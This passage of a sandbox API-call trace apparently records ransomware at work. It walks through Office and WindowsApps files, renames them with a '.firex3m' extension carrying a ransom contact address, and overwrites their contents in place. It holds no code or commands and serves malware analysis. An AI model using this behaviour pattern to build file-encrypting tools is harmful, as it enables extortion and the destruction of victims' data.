cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5580 [0257.795] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0257.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\echo\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0257.795] GetProcessHeap () returned 0x630000 [0257.795] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6221) returned 0x7441010 [0257.795] GetProcessHeap () returned 0x630000 [0257.795] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6221) returned 0x7453008 [0257.795] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.795] ReadFile (in: hFile=0x4e4, lpBuffer=0x7441010, nNumberOfBytesToRead=0x6200, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7441010*, lpNumberOfBytesRead=0x623ff0c*=0x6200, lpOverlapped=0x0) returned 1 [0260.395] GetProcessHeap () returned 0x630000 [0260.395] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0260.395] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.395] WriteFile (in: hFile=0x4e4, lpBuffer=0x7453008*, nNumberOfBytesToWrite=0x6200, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453008*, lpNumberOfBytesWritten=0x623ff0c*=0x6200, lpOverlapped=0x0) returned 1 [0260.397] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.397] WriteFile (in: hFile=0x4e4, lpBuffer=0x7459207*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7459207*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0260.397] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.397] WriteFile (in: hFile=0x4e4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0260.397] CloseHandle (hObject=0x4e4) returned 1 [0260.397] GetProcessHeap () returned 0x630000 [0260.397] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453008 | out: hHeap=0x630000) returned 1 [0261.057] GetProcessHeap () returned 0x630000 [0261.057] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7441010 | out: hHeap=0x630000) returned 1 [0261.063] GetProcessHeap () returned 0x630000 [0261.063] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0261.247] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.247] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECHO\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6127cfb6, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6236, dwReserved0=0x90c7496, dwReserved1=0x7441008, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4ec0 [0261.247] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0261.248] Sleep (dwMilliseconds=0x1) [0261.269] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.targetsize-48_altform-unplated.png", len=0x94 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.targetsize-48_altform-unplated.png") returned 1 [0261.269] GetProcessHeap () returned 0x630000 [0261.269] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e4c) returned 0x6fe3bb0 [0261.269] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_LogoSmall.targetsize-48_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\assets\\apptiles\\weather_logosmall.targetsize-48_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.278] Sleep (dwMilliseconds=0x1) [0261.299] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc", len=0x61 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc") returned 1 [0261.299] GetProcessHeap () returned 0x630000 [0261.299] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e90) returned 0x6fe3bb0 [0261.300] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\_Resources\\0.rsrc" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\_resources\\0.rsrc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.303] Sleep (dwMilliseconds=0x1) [0261.310] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd", len=0x6a | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd") returned 1 [0261.310] GetProcessHeap () returned 0x630000 [0261.310] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e8c) returned 0x6fe3bb0 [0261.310] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\StoreRatingPromotion.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\storeratingpromotion.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.311] Sleep (dwMilliseconds=0x1) [0261.331] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\MicrosoftAdvertising.ini", len=0x68 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\MicrosoftAdvertising.ini") returned 1 [0261.331] GetProcessHeap () returned 0x630000 [0261.331] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e80) returned 0x6fe3bb0 [0261.331] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\MicrosoftAdvertising.ini" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoftadvertising.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.372] Sleep (dwMilliseconds=0x1) [0261.401] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf", len=0x82 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf") returned 1 [0261.401] GetProcessHeap () returned 0x630000 [0261.401] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e70) returned 0x6fe3bb0 [0261.401] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\MSNMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.msn.shell\\themes\\glyphs\\font\\msnmdl2.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0261.401] Sleep (dwMilliseconds=0x1) [0262.934] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri", len=0x72 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri") returned 1 [0262.934] GetProcessHeap () returned 0x630000 [0262.934] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dbc) returned 0x6fe3bb0 [0262.934] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.173] Sleep (dwMilliseconds=0x1) [0266.248] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Keywords.HxK", len=0x63 | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Keywords.HxK") returned 1 [0266.248] GetProcessHeap () returned 0x630000 [0266.248] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bbc) returned 0x6fe3bb0 [0266.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Keywords.HxK" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\keywords.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0266.249] CloseHandle (hObject=0x648) returned 1 [0266.249] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.249] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Keywords.HxK" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\keywords.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Keywords.HxK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\keywords.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0266.251] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.251] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Keywords.HxK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26737b32, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26737b32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2675dd9a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName="Keywords.HxK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="KEYWOR~1.FIR")) returned 0x6d51c0 [0266.251] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0266.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Keywords.HxK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\help\\keywords.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0266.251] GetProcessHeap () returned 0x630000 [0266.251] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x650448 [0266.251] GetProcessHeap () returned 0x630000 [0266.251] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa1) returned 0x650658 [0266.251] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.251] ReadFile (in: hFile=0x648, lpBuffer=0x650448, nNumberOfBytesToRead=0x80, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x650448*, lpNumberOfBytesRead=0x623ff0c*=0x80, lpOverlapped=0x0) returned 1 [0266.253] GetProcessHeap () returned 0x630000 [0266.253] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0266.253] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.253] WriteFile (in: hFile=0x648, lpBuffer=0x650658*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x650658*, lpNumberOfBytesWritten=0x623ff0c*=0x80, lpOverlapped=0x0) returned 1 [0266.253] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.253] WriteFile (in: hFile=0x648, lpBuffer=0x6506d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6506d7*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0266.253] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.253] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0266.253] CloseHandle (hObject=0x648) returned 1 [0266.253] GetProcessHeap () returned 0x630000 [0266.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x650658 | out: hHeap=0x630000) returned 1 [0266.253] GetProcessHeap () returned 0x630000 [0266.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x650448 | out: hHeap=0x630000) returned 1 [0266.253] GetProcessHeap () returned 0x630000 [0266.253] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0266.254] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.254] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Help\\Keywords.HxK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26737b32, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26737b32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x64a6195e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa9, dwReserved0=0x623fd20, dwReserved1=0x650448, cFileName="Keywords.HxK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="KEYWOR~1.FIR")) returned 0x6d54c0 [0266.254] FindClose (in: hFindFile=0x6d54c0 | out: hFindFile=0x6d54c0) returned 1 [0266.254] Sleep (dwMilliseconds=0x1) [0266.264] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x", len=0x7e | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0266.264] GetProcessHeap () returned 0x630000 [0266.264] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bd0) returned 0x6fe3bb0 [0266.264] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_neutral_split.scale-100_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.266] Sleep (dwMilliseconds=0x1) [0266.314] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT", len=0x66 | out: pbstr=0x623ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 1 [0266.314] GetProcessHeap () returned 0x630000 [0266.314] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bac) returned 0x6fe3bb0 [0266.315] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\wpgimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0266.320] CloseHandle (hObject=0x648) returned 1 [0266.320] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.320] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\wpgimp32.flt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\wpgimp32.flt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0266.321] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.321] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x42c68, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="WPGIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WPGIMP~1.FIR")) returned 0x6d53c0 [0266.321] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0266.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\wpgimp32.flt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x648 [0266.322] GetProcessHeap () returned 0x630000 [0266.322] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7333710 [0266.322] GetProcessHeap () returned 0x630000 [0266.322] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x733eb40 [0266.322] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.322] ReadFile (in: hFile=0x648, lpBuffer=0x7333710, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7333710*, lpNumberOfBytesRead=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0274.689] GetProcessHeap () returned 0x630000 [0274.689] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0274.690] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.690] WriteFile (in: hFile=0x648, lpBuffer=0x733eb40*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x733eb40*, lpNumberOfBytesWritten=0x623ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0274.690] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.690] WriteFile (in: hFile=0x648, lpBuffer=0x7349f3f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7349f3f*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0274.700] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.701] WriteFile (in: hFile=0x648, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0274.701] CloseHandle (hObject=0x648) returned 1 [0274.701] GetProcessHeap () returned 0x630000 [0274.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x733eb40 | out: hHeap=0x630000) returned 1 [0274.701] GetProcessHeap () returned 0x630000 [0274.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7333710 | out: hHeap=0x630000) returned 1 [0274.701] GetProcessHeap () returned 0x630000 [0274.701] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0274.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0274.701] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0df27d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69af7ec8, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x42c8c, dwReserved0=0x90c7496, dwReserved1=0x7333708, cFileName="WPGIMP32.FLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WPGIMP~1.FIR")) returned 0x6d4e00 [0274.701] FindClose (in: 